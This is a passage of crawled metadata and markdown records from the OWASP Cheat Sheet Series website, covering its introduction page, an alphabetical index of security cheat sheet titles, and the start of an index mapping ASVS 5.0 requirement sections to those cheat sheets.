{"url": "https://cheatsheetseries.owasp.org/", "titulek": "Introduction - OWASP Cheat Sheet Series", "h1": "¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/index.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "¶"}], "markdown": "# ¶\n\nThe **OWASP Cheat Sheet Series** was created to provide a concise collection of high value information on specific application security topics. These cheat sheets were created by various application security professionals who have expertise in specific topics.\n\nWe hope that this project provides you with excellent security guidance in an easy to read format.\n\nYou can download this site [here](bundle.zip).\n\nAn ATOM feed is available [here](News.xml) with the latest updates.\n\nProject leaders:\n\n- [Jim Manico](https://github.com/jmanico)\n- [Jakub Maćkowski](https://github.com/mackowski)\n- [Gabriel Corona](https://github.com/randomstuff)\n\nCore team:\n\n- [Kevin W. Wall](https://github.com/kwwall)\n- [Shlomo Zalman Heigh](https://github.com/szh)\n\nProject links:\n\n- [Homepage](https://owasp.org/www-project-cheat-sheets/)\n- [GitHub repository](https://github.com/OWASP/CheatSheetSeries)\n- [How to contribute?](https://github.com/OWASP/CheatSheetSeries/blob/master/CONTRIBUTING.md)\n- [Logo](https://github.com/OWASP/owasp-swag/tree/master/projects/cheat-sheet-series)", "znaku_textu": 1046, "slov": 102, "odkazu": 141, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:23", "sha256": "efbc3749e7936360177ce7042778f4cada661e6e25529c284d024876c48c24ff", "hloubka": 0, "zdroj_objevu": "seed", "ze_seznamu": true, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://github.com/jmanico", "https://github.com/mackowski", "https://github.com/randomstuff", "https://github.com/kwwall", "https://github.com/szh", "https://owasp.org/www-project-cheat-sheets/", "https://github.com/OWASP/CheatSheetSeries/blob/master/CONTRIBUTING.md", "https://github.com/OWASP/owasp-swag/tree/master/projects/cheat-sheet-series", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/Glossary.html", "titulek": "Index Alphabetical - OWASP Cheat Sheet Series", "h1": "Index Alphabetical¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/Glossary.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Index Alphabetical¶"}, {"uroven": 2, "text": "A¶"}, {"uroven": 2, "text": "B¶"}, {"uroven": 2, "text": "C¶"}, {"uroven": 2, "text": "D¶"}, {"uroven": 2, "text": "E¶"}, {"uroven": 2, "text": "F¶"}, {"uroven": 2, "text": "G¶"}, {"uroven": 2, "text": "H¶"}, {"uroven": 2, "text": "I¶"}, {"uroven": 2, "text": "J¶"}, {"uroven": 2, "text": "K¶"}, {"uroven": 2, "text": "L¶"}, {"uroven": 2, "text": "M¶"}, {"uroven": 2, "text": "N¶"}, {"uroven": 2, "text": "O¶"}, {"uroven": 2, "text": "P¶"}, {"uroven": 2, "text": "Q¶"}, {"uroven": 2, "text": "R¶"}, {"uroven": 2, "text": "S¶"}, {"uroven": 2, "text": "T¶"}, {"uroven": 2, "text": "U¶"}, {"uroven": 2, "text": "V¶"}, {"uroven": 2, "text": "W¶"}, {"uroven": 2, "text": "X¶"}, {"uroven": 2, "text": "Z¶"}], "markdown": "# Index Alphabetical¶\n\n**121** cheat sheets available.\n\n*Icons beside the cheat sheet name indicate in which language(s) code snippet(s) are provided.*\n\n[A](Glossary.html#a) [B](Glossary.html#b) [C](Glossary.html#c) [D](Glossary.html#d) [E](Glossary.html#e) [F](Glossary.html#f) [G](Glossary.html#g) [H](Glossary.html#h) [I](Glossary.html#i) [J](Glossary.html#j) [K](Glossary.html#k) [L](Glossary.html#l) [M](Glossary.html#m) [N](Glossary.html#n) [O](Glossary.html#o) [P](Glossary.html#p) [Q](Glossary.html#q) [R](Glossary.html#r) [S](Glossary.html#s) [T](Glossary.html#t) [U](Glossary.html#u) [V](Glossary.html#v) [W](Glossary.html#w) [X](Glossary.html#x) [Z](Glossary.html#z)\n\n## A¶\n\n[AI Agent Security Cheat Sheet](cheatsheets/AI_Agent_Security_Cheat_Sheet.html)\n\n[AJAX Security Cheat Sheet](cheatsheets/AJAX_Security_Cheat_Sheet.html)\n\n[AML Sanctions AI Agent Payments Cheat Sheet](cheatsheets/AML_Sanctions_AI_Agent_Payments_Cheat_Sheet.html)\n\n[Abuse Case Cheat Sheet](cheatsheets/Abuse_Case_Cheat_Sheet.html)\n\n[Access Control Cheat Sheet](cheatsheets/Access_Control_Cheat_Sheet.html)\n\n[Attack Surface Analysis Cheat Sheet](cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html)\n\n[Authentication Cheat Sheet](cheatsheets/Authentication_Cheat_Sheet.html)\n\n[Authorization Cheat Sheet](cheatsheets/Authorization_Cheat_Sheet.html)\n\n[Authorization Regression Testing Cheat Sheet](cheatsheets/Authorization_Regression_Testing_Cheat_Sheet.html)\n\n[Authorization Testing Automation Cheat Sheet](cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html)\n\n[Automotive Security Cheat Sheet](cheatsheets/Automotive_Security_Cheat_Sheet.html)\n\n## B¶\n\n[Bean Validation Cheat Sheet](cheatsheets/Bean_Validation_Cheat_Sheet.html)\n\n[Bot Management and Anti-Automation Cheat Sheet](cheatsheets/Bot_Management_and_Anti-Automation_Cheat_Sheet.html)\n\n[Browser Extension Vulnerabilities Cheat Sheet](cheatsheets/Browser_Extension_Vulnerabilities_Cheat_Sheet.html)\n\n[Business Logic Security Cheat Sheet](cheatsheets/Business_Logic_Security_Cheat_Sheet.html)\n\n## C¶\n\n[C-Based Toolchain Hardening Cheat Sheet](cheatsheets/C-Based_Toolchain_Hardening_Cheat_Sheet.html)\n\n[CI CD Security Cheat Sheet](cheatsheets/CI_CD_Security_Cheat_Sheet.html)\n\n[Choosing and Using Security Questions Cheat Sheet](cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html)\n\n[Clickjacking Defense Cheat Sheet](cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)\n\n[Content Security Policy Cheat Sheet](cheatsheets/Content_Security_Policy_Cheat_Sheet.html)\n\n[Cookie Theft Mitigation Cheat Sheet](cheatsheets/Cookie_Theft_Mitigation_Cheat_Sheet.html)\n\n[Credential Stuffing Prevention Cheat Sheet](cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n\n[Cross-Site Request Forgery Prevention Cheat Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[Cross Site Scripting Prevention Cheat Sheet](cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n\n[Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n\n## D¶\n\n[DOM Clobbering Prevention Cheat Sheet](cheatsheets/DOM_Clobbering_Prevention_Cheat_Sheet.html)\n\n[DOM based XSS Prevention Cheat Sheet](cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n\n[Database Security Cheat Sheet](cheatsheets/Database_Security_Cheat_Sheet.html)\n\n[Denial of Service Cheat Sheet](cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n\n[Dependency Graph SBOM Cheat Sheet](cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html)\n\n[Deserialization Cheat Sheet](cheatsheets/Deserialization_Cheat_Sheet.html)\n\n[Django REST Framework Cheat Sheet](cheatsheets/Django_REST_Framework_Cheat_Sheet.html)\n\n[Django Security Cheat Sheet](cheatsheets/Django_Security_Cheat_Sheet.html)\n\n[Docker Security Cheat Sheet](cheatsheets/Docker_Security_Cheat_Sheet.html)\n\n[DotNet Security Cheat Sheet](cheatsheets/DotNet_Security_Cheat_Sheet.html)\n\n[Drone Security Cheat Sheet](cheatsheets/Drone_Security_Cheat_Sheet.html)\n\n## E¶\n\n[Email Validation and Verification Cheat Sheet](cheatsheets/Email_Validation_and_Verification_Cheat_Sheet.html)\n\n[Error Handling Cheat Sheet](cheatsheets/Error_Handling_Cheat_Sheet.html)\n\n## F¶\n\n[File Upload Cheat Sheet](cheatsheets/File_Upload_Cheat_Sheet.html)\n\n[Forgot Password Cheat Sheet](cheatsheets/Forgot_Password_Cheat_Sheet.html)\n\n## G¶\n\n[GitHub Actions Security Cheat Sheet](cheatsheets/GitHub_Actions_Security_Cheat_Sheet.html)\n\n[GraphQL Cheat Sheet](cheatsheets/GraphQL_Cheat_Sheet.html)\n\n[gRPC Security Cheat Sheet](cheatsheets/gRPC_Security_Cheat_Sheet.html)\n\n## H¶\n\n[HTML5 Security Cheat Sheet](cheatsheets/HTML5_Security_Cheat_Sheet.html)\n\n[HTTP Headers Cheat Sheet](cheatsheets/HTTP_Headers_Cheat_Sheet.html)\n\n[HTTP Strict Transport Security Cheat Sheet](cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n\n## I¶\n\n[Infrastructure as Code Security Cheat Sheet](cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n\n[Injection Prevention Cheat Sheet](cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n\n[Injection Prevention in Java Cheat Sheet](cheatsheets/Injection_Prevention_in_Java_Cheat_Sheet.html)\n\n[Input Validation Cheat Sheet](cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n[Insecure Direct Object Reference Prevention Cheat Sheet](cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html)\n\n## J¶\n\n[JAAS Cheat Sheet](cheatsheets/JAAS_Cheat_Sheet.html)\n\n[JSON Web Token Cheat Sheet](cheatsheets/JSON_Web_Token_Cheat_Sheet.html)\n\n[Java Security Cheat Sheet](cheatsheets/Java_Security_Cheat_Sheet.html)\n\n## K¶\n\n[Key Management Cheat Sheet](cheatsheets/Key_Management_Cheat_Sheet.html)\n\n[Kubernetes Security Cheat Sheet](cheatsheets/Kubernetes_Security_Cheat_Sheet.html)\n\n## L¶\n\n[LDAP Injection Prevention Cheat Sheet](cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n\n[LLM Prompt Injection Prevention Cheat Sheet](cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html)\n\n[Laravel Cheat Sheet](cheatsheets/Laravel_Cheat_Sheet.html)\n\n[Legacy Application Management Cheat Sheet](cheatsheets/Legacy_Application_Management_Cheat_Sheet.html)\n\n[Logging Cheat Sheet](cheatsheets/Logging_Cheat_Sheet.html)\n\n[Logging Vocabulary Cheat Sheet](cheatsheets/Logging_Vocabulary_Cheat_Sheet.html)\n\n## M¶\n\n[MCP Security Cheat Sheet](cheatsheets/MCP_Security_Cheat_Sheet.html)\n\n[Mass Assignment Cheat Sheet](cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n\n[Microservices Security Cheat Sheet](cheatsheets/Microservices_Security_Cheat_Sheet.html)\n\n[Microservices based Security Arch Doc Cheat Sheet](cheatsheets/Microservices_based_Security_Arch_Doc_Cheat_Sheet.html)\n\n[Mobile Application Security Cheat Sheet](cheatsheets/Mobile_Application_Security_Cheat_Sheet.html)\n\n[Multi Tenant Security Cheat Sheet](cheatsheets/Multi_Tenant_Security_Cheat_Sheet.html)\n\n[Multifactor Authentication Cheat Sheet](cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)\n\n## N¶\n\n[NPM Security Cheat Sheet](cheatsheets/NPM_Security_Cheat_Sheet.html)\n\n[Network Segmentation Cheat Sheet](cheatsheets/Network_Segmentation_Cheat_Sheet.html)\n\n[Nextjs Security Cheat Sheet](cheatsheets/Nextjs_Security_Cheat_Sheet.html)\n\n[NoSQL Security Cheat Sheet](cheatsheets/NoSQL_Security_Cheat_Sheet.html)\n\n[NodeJS Docker Cheat Sheet](cheatsheets/NodeJS_Docker_Cheat_Sheet.html)\n\n[Nodejs Security Cheat Sheet](cheatsheets/Nodejs_Security_Cheat_Sheet.html)\n\n## O¶\n\n[OAuth2 Cheat Sheet](cheatsheets/OAuth2_Cheat_Sheet.html)\n\n[OS Command Injection Defense Cheat Sheet](cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n\n## P¶\n\n[PHP Configuration Cheat Sheet](cheatsheets/PHP_Configuration_Cheat_Sheet.html)\n\n[Password Storage Cheat Sheet](cheatsheets/Password_Storage_Cheat_Sheet.html)\n\n[Pinning Cheat Sheet](cheatsheets/Pinning_Cheat_Sheet.html)\n\n[Prototype Pollution Prevention Cheat Sheet](cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html)\n\n## Q¶\n\n[Query Parameterization Cheat Sheet](cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n\n## R¶\n\n[RAG Security Cheat Sheet](cheatsheets/RAG_Security_Cheat_Sheet.html)\n\n[REST Assessment Cheat Sheet](cheatsheets/REST_Assessment_Cheat_Sheet.html)\n\n[REST Security Cheat Sheet](cheatsheets/REST_Security_Cheat_Sheet.html)\n\n[Ruby on Rails Cheat Sheet](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html)\n\n## S¶\n\n[SAML Security Cheat Sheet](cheatsheets/SAML_Security_Cheat_Sheet.html)\n\n[SQL Injection Prevention Cheat Sheet](cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n\n[Secrets Management Cheat Sheet](cheatsheets/Secrets_Management_Cheat_Sheet.html)\n\n[Secure AI Model Ops Cheat Sheet](cheatsheets/Secure_AI_Model_Ops_Cheat_Sheet.html)\n\n[Secure Cloud Architecture Cheat Sheet](cheatsheets/Secure_Cloud_Architecture_Cheat_Sheet.html)\n\n[Secure Code Review Cheat Sheet](cheatsheets/Secure_Code_Review_Cheat_Sheet.html)\n\n[Secure Coding with AI Cheat Sheet](cheatsheets/Secure_Coding_with_AI_Cheat_Sheet.html)\n\n[Secure Product Design Cheat Sheet](cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n\n[Securing Cascading Style Sheets Cheat Sheet](cheatsheets/Securing_Cascading_Style_Sheets_Cheat_Sheet.html)\n\n[Security Terminology Cheat Sheet](cheatsheets/Security_Terminology_Cheat_Sheet.html)\n\n[Server Side Request Forgery Prevention Cheat Sheet](cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[Serverless FaaS Security Cheat Sheet](cheatsheets/Serverless_FaaS_Security_Cheat_Sheet.html)\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n[Software Supply Chain Security Cheat Sheet](cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n\n[Subdomain Takeover Prevention Cheat Sheet](cheatsheets/Subdomain_Takeover_Prevention_Cheat_Sheet.html)\n\n[Symfony Cheat Sheet](cheatsheets/Symfony_Cheat_Sheet.html)\n\n## T¶\n\n[TLS Cipher String Cheat Sheet](cheatsheets/TLS_Cipher_String_Cheat_Sheet.html)\n\n[Third Party Javascript Management Cheat Sheet](cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html)\n\n[Third Party Payment Gateway Integration Cheat Sheet](cheatsheets/Third_Party_Payment_Gateway_Integration_Cheat_Sheet.html)\n\n[Threat Modeling Cheat Sheet](cheatsheets/Threat_Modeling_Cheat_Sheet.html)\n\n[Transaction Authorization Cheat Sheet](cheatsheets/Transaction_Authorization_Cheat_Sheet.html)\n\n[Transport Layer Protection Cheat Sheet](cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n## U¶\n\n[Unvalidated Redirects and Forwards Cheat Sheet](cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n[User Privacy Protection Cheat Sheet](cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n\n## V¶\n\n[Virtual Patching Cheat Sheet](cheatsheets/Virtual_Patching_Cheat_Sheet.html)\n\n[Vulnerability Disclosure Cheat Sheet](cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html)\n\n[Vulnerable Dependency Management Cheat Sheet](cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n\n## W¶\n\n[WebSocket Security Cheat Sheet](cheatsheets/WebSocket_Security_Cheat_Sheet.html)\n\n[Web Service Security Cheat Sheet](cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n\n## X¶\n\n[XML External Entity Prevention Cheat Sheet](cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n\n[XML Security Cheat Sheet](cheatsheets/XML_Security_Cheat_Sheet.html)\n\n[XSS Filter Evasion Cheat Sheet](cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)\n\n[XS Leaks Cheat Sheet](cheatsheets/XS_Leaks_Cheat_Sheet.html)\n\n## Z¶\n\n[Zero Trust Architecture Cheat Sheet](cheatsheets/Zero_Trust_Architecture_Cheat_Sheet.html)", "znaku_textu": 11329, "slov": 664, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:25", "sha256": "112ec3b9517ba27008816b521dcb4aa3ffce0d1a2fc1281699d94ad4cfbf7282", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/IndexASVS.html", "titulek": "Index ASVS - OWASP Cheat Sheet Series", "h1": "ASVS Index¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/IndexASVS.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ASVS Index¶"}, {"uroven": 2, "text": "Table of Contents¶"}, {"uroven": 2, "text": "Objective¶"}, {"uroven": 2, "text": "V1: Encoding and Sanitization¶"}, {"uroven": 3, "text": "V1.1 Encoding and Sanitization Architecture¶"}, {"uroven": 3, "text": "V1.2 Injection Prevention¶"}, {"uroven": 3, "text": "V1.3 Sanitization¶"}, {"uroven": 3, "text": "V1.4 Memory, String, and Unmanaged Code¶"}, {"uroven": 3, "text": "V1.5 Safe Deserialization¶"}, {"uroven": 2, "text": "V2: Validation and Business Logic¶"}, {"uroven": 3, "text": "V2.1 Validation and Business Logic Documentation¶"}, {"uroven": 3, "text": "V2.2 Input Validation¶"}, {"uroven": 3, "text": "V2.3 Business Logic Security¶"}, {"uroven": 3, "text": "V2.4 Anti-automation¶"}, {"uroven": 2, "text": "V3: Web Frontend Security¶"}, {"uroven": 3, "text": "V3.1 Web Frontend Security Documentation¶"}, {"uroven": 3, "text": "V3.2 Unintended Content Interpretation¶"}, {"uroven": 3, "text": "V3.4 Browser Security Mechanism Headers¶"}, {"uroven": 3, "text": "V3.5 Browser Origin Separation¶"}, {"uroven": 3, "text": "V3.6 External Resource Integrity¶"}, {"uroven": 3, "text": "V3.7 Other Browser Security Considerations¶"}, {"uroven": 2, "text": "V4: API and Web Service¶"}, {"uroven": 3, "text": "V4.1 Generic Web Service Security¶"}, {"uroven": 3, "text": "V4.2 HTTP Message Structure Validation¶"}, {"uroven": 3, "text": "V4.3 GraphQL¶"}, {"uroven": 3, "text": "V4.4 WebSocket¶"}, {"uroven": 2, "text": "V5: File Handling¶"}, {"uroven": 3, "text": "V5.1 File Handling Documentation¶"}, {"uroven": 3, "text": "V5.2 File Upload and Content¶"}, {"uroven": 3, "text": "V5.3 File Storage¶"}, {"uroven": 3, "text": "V5.4 File Download¶"}, {"uroven": 2, "text": "V6: Authentication¶"}, {"uroven": 3, "text": "V6.1 Authentication Documentation¶"}, {"uroven": 3, "text": "V6.2 Password Security¶"}, {"uroven": 3, "text": "V6.3 General Authentication Security¶"}, {"uroven": 3, "text": "V6.4 Authentication Factor Lifecycle and Recovery¶"}, {"uroven": 3, "text": "V6.5 General Multi-factor authentication requirements¶"}, {"uroven": 3, "text": "V6.6 Out-of-Band authentication mechanisms¶"}, {"uroven": 3, "text": "V6.7 Cryptographic authentication mechanism¶"}, {"uroven": 3, "text": "V6.8 Authentication with an Identity Provider¶"}, {"uroven": 2, "text": "V7: Session Management¶"}, {"uroven": 3, "text": "V7.1 Session Management Documentation¶"}, {"uroven": 3, "text": "V7.2 Fundamental Session Management Security¶"}, {"uroven": 3, "text": "V7.3 Session Timeout¶"}, {"uroven": 3, "text": "V7.4 Session Termination¶"}, {"uroven": 3, "text": "V7.5 Defenses Against Session Abuse¶"}, {"uroven": 3, "text": "V7.6 Federated Re-authentication¶"}, {"uroven": 2, "text": "V8: Authorization¶"}, {"uroven": 3, "text": "V8.1 Authorization Documentation¶"}, {"uroven": 3, "text": "V8.2 General Authorization Design¶"}, {"uroven": 3, "text": "V8.3 Operation Level Authorization¶"}, {"uroven": 3, "text": "V8.4 Other Authorization Considerations¶"}, {"uroven": 2, "text": "V9: Self-contained Tokens¶"}, {"uroven": 3, "text": "V9.1 Token source and integrity¶"}, {"uroven": 3, "text": "V9.2 Token content¶"}, {"uroven": 2, "text": "V10: OAuth and OIDC¶"}, {"uroven": 3, "text": "V10.1 Generic OAuth and OIDC Security¶"}, {"uroven": 3, "text": "V10.2 OAuth Client¶"}, {"uroven": 3, "text": "V10.3 OAuth Resource Server¶"}, {"uroven": 3, "text": "V10.4 OAuth Authorization Server¶"}, {"uroven": 3, "text": "V10.5 OIDC Client¶"}, {"uroven": 3, "text": "V10.6 OpenID Provider¶"}, {"uroven": 2, "text": "V11: Cryptography¶"}, {"uroven": 3, "text": "V11.1 Cryptographic Inventory and Documentation¶"}, {"uroven": 3, "text": "V11.2 Secure Cryptography Implementation¶"}, {"uroven": 3, "text": "V11.3 Encryption Algorithms¶"}, {"uroven": 3, "text": "V11.4 Hashing and Hash-based Functions¶"}, {"uroven": 3, "text": "V11.5 Random Values¶"}, {"uroven": 3, "text": "V11.6 Public Key Cryptography¶"}, {"uroven": 3, "text": "V11.7 In-Use Data Cryptography¶"}, {"uroven": 2, "text": "V12: Secure Communication¶"}, {"uroven": 3, "text": "V12.1 General TLS Security Guidance¶"}, {"uroven": 3, "text": "V12.2 HTTPS Communication with External Facing Services¶"}, {"uroven": 3, "text": "V12.3 General Service to Service Communication Security¶"}, {"uroven": 2, "text": "V13: Configuration¶"}, {"uroven": 3, "text": "V13.1 Configuration Documentation¶"}, {"uroven": 3, "text": "V13.2 Backend Communication Configuration¶"}, {"uroven": 3, "text": "V13.3 Secret Management¶"}, {"uroven": 3, "text": "V13.4 Unintended Information Leakage¶"}, {"uroven": 2, "text": "V14: Data Protection¶"}, {"uroven": 3, "text": "V14.1 Data Protection Documentation¶"}, {"uroven": 3, "text": "V14.2 General Data Protection¶"}, {"uroven": 3, "text": "V14.3 Client-side Data Protection¶"}, {"uroven": 2, "text": "V15: Secure Coding and Architecture¶"}, {"uroven": 3, "text": "V15.1: Secure Coding and Architecture Documentation¶"}, {"uroven": 3, "text": "V15.2: Security Architecture and Dependencies¶"}, {"uroven": 3, "text": "V15.3: Defensive Coding¶"}, {"uroven": 3, "text": "V15.4: Safe Concurrency¶"}, {"uroven": 2, "text": "V16: Security Logging and Error Handling¶"}, {"uroven": 3, "text": "V16.1: Security Logging Documentation¶"}, {"uroven": 3, "text": "V16.2: General Logging¶"}, {"uroven": 3, "text": "V16.3: Security Events¶"}, {"uroven": 3, "text": "V16.4: Log Protection¶"}, {"uroven": 3, "text": "V16.5: Error Handling¶"}, {"uroven": 2, "text": "V17: WebRTC¶"}, {"uroven": 3, "text": "V17.1 TURN Server¶"}, {"uroven": 2, "text": "V17.2 Media¶"}, {"uroven": 2, "text": "V17.3 Signaling¶"}], "markdown": "# ASVS Index¶\n\n## Table of Contents¶\n\n- Objective\n- V1: Encoding and Sanitization\n - V1.1 Encoding and Sanitization Architecture\n - V1.2 Injection Prevention\n - V1.3 Sanitization\n - V1.4 Memory, String, and Unmanaged Code\n - V1.5 Safe Deserialization\n- V2: Validation and Business Logic\n - V2.1 Validation and Business Logic Documentation\n - V2.2 Input Validation\n - V2.3 Business Logic Security\n - V2.4 Anti-automation\n- V3: Web Frontend Security\n - V3.1 Web Frontend Security Documentation\n - V3.2 Unintended Content Interpretation\n - V3.3 Cookie Setup\n - V3.4 Browser Security Mechanism Headers\n - V3.5 Browser Origin Separation\n - V3.6 External Resource Integrity\n - V3.7 Other Browser Security Considerations\n- V4: API and Web Service\n - V4.1 Generic Web Service Security\n - V4.2 HTTP Message Structure Validation\n - V4.3 GraphQL\n - V4.4 WebSocket\n- V5: File Handling\n - V5.1 File Handling Documentation\n - V5.2 File Upload and Content\n - V5.3 File Storage\n - V5.4 File Download\n- V6: Authentication\n - V6.1 Authentication Documentation\n - V6.2 Password Security\n - V6.3 General Authentication Security\n - V6.4 Authentication Factor Lifecycle and Recovery\n - V6.5 General Multi-factor authentication requirements\n - V6.6 Out-of-Band authentication mechanisms\n - V6.7 Cryptographic authentication mechanism\n - V6.8 Authentication with an Identity Provider\n- V7: Session Management\n - V7.1 Session Management Documentation\n - V7.2 Fundamental Session Management Security\n - V7.3 Session Timeout\n - V7.4 Session Termination\n - V7.5 Defenses Against Session Abuse\n - V7.6 Federated Re-authentication\n- V8: Authorization\n - V8.1 Authorization Documentation\n - V8.2 General Authorization Design\n - V8.3 Operation Level Authorization\n - V8.4 Other Authorization Considerations\n- V9: Self-contained Tokens\n - V9.1 Token source and integrity\n - V9.2 Token content\n- V10: OAuth and OIDC\n - V10.1 Generic OAuth and OIDC Security\n - V10.2 OAuth Client\n - V10.3 OAuth Resource Server\n - V10.4 OAuth Authorization Server\n - V10.5 OIDC Client\n - V10.6 OpenID Provider\n - V10.7 Consent Management\n- V11: Cryptography\n - V11.1 Cryptographic Inventory and Documentation\n - V11.2 Secure Cryptography Implementation\n - V11.3 Encryption Algorithms\n - V11.4 Hashing and Hash-based Functions\n - V11.5 Random Values\n - V11.6 Public Key Cryptography\n - V11.7 In-Use Data Cryptography\n- V12: Secure Communication\n - V12.1 General TLS Security Guidance\n - V12.2 HTTPS Communication with External Facing Services\n - V12.3 General Service to Service Communication Security\n- V13: Configuration\n - V13.1 Configuration Documentation\n - V13.2 Backend Communication Configuration\n - V13.3 Secret Management\n - V13.4 Unintended Information Leakage\n- V14: Data Protection\n - V14.1 Data Protection Documentation\n - V14.2 General Data Protection\n - V14.3 Client-side Data Protection\n- V15: Secure Coding and Architecture\n - V15.1: Secure Coding and Architecture Documentation\n - V15.2: Security Architecture and Dependencies\n - V15.3: Defensive Coding\n - V15.4: Safe Concurrency\n- V16: Security Logging and Error Handling\n - V16.1: Security Logging Documentation\n - V16.2: General Logging\n - V16.3: Security Events\n - V16.4: Log Protection\n - V16.5: Error Handling\n- V17: WebRTC\n - V17.1: TURN Server\n - V17.2: Media\n - V17.3: Signaling\n\n## Objective¶\n\nThe objective of this index is to help an OWASP [Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) (ASVS) user clearly identify which cheat sheets are useful for each section during his or her usage of the ASVS.\n\nThis index is based on the version 5.0.x of the ASVS.\n\n## V1: Encoding and Sanitization¶\n\n### V1.1 Encoding and Sanitization Architecture¶\n\n[Security Terminology Cheat Sheet](cheatsheets/Security_Terminology_Cheat_Sheet.html)\n\n[Cross Site Scripting Prevention Cheat Sheet](cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n\n### V1.2 Injection Prevention¶\n\n[Bean Validation Cheat Sheet](cheatsheets/Bean_Validation_Cheat_Sheet.html)\n\n[Cross Site Scripting Prevention Cheat Sheet](cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n\n[DOM based XSS Prevention Cheat Sheet](cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n\n[File Upload Cheat Sheet](cheatsheets/File_Upload_Cheat_Sheet.html)\n\n[Injection Prevention Cheat Sheet](cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n\n[Input Validation Cheat Sheet](cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n[Java Security Cheat Sheet](cheatsheets/Java_Security_Cheat_Sheet.html)\n\n[LDAP Injection Prevention](cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n\n[OS Command Injection Defense](cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n\n[Query Parameterization Cheat Sheet](cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n\n[SQL Injection Prevention](cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n\n[XML Security Cheat Sheet](cheatsheets/XML_Security_Cheat_Sheet.html)\n\n[XSS Filter Evasion Cheat Sheet](cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)\n\n[XML External Entity Prevention Cheat Sheet](cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n\n### V1.3 Sanitization¶\n\n[Cross-Site Request Forgery Prevention Cheat Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[Cross Site Scripting Prevention Cheat Sheet](cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n\n[DOM based XSS Prevention Cheat Sheet](cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n\n[Injection Prevention Cheat Sheet](cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n\n[Injection 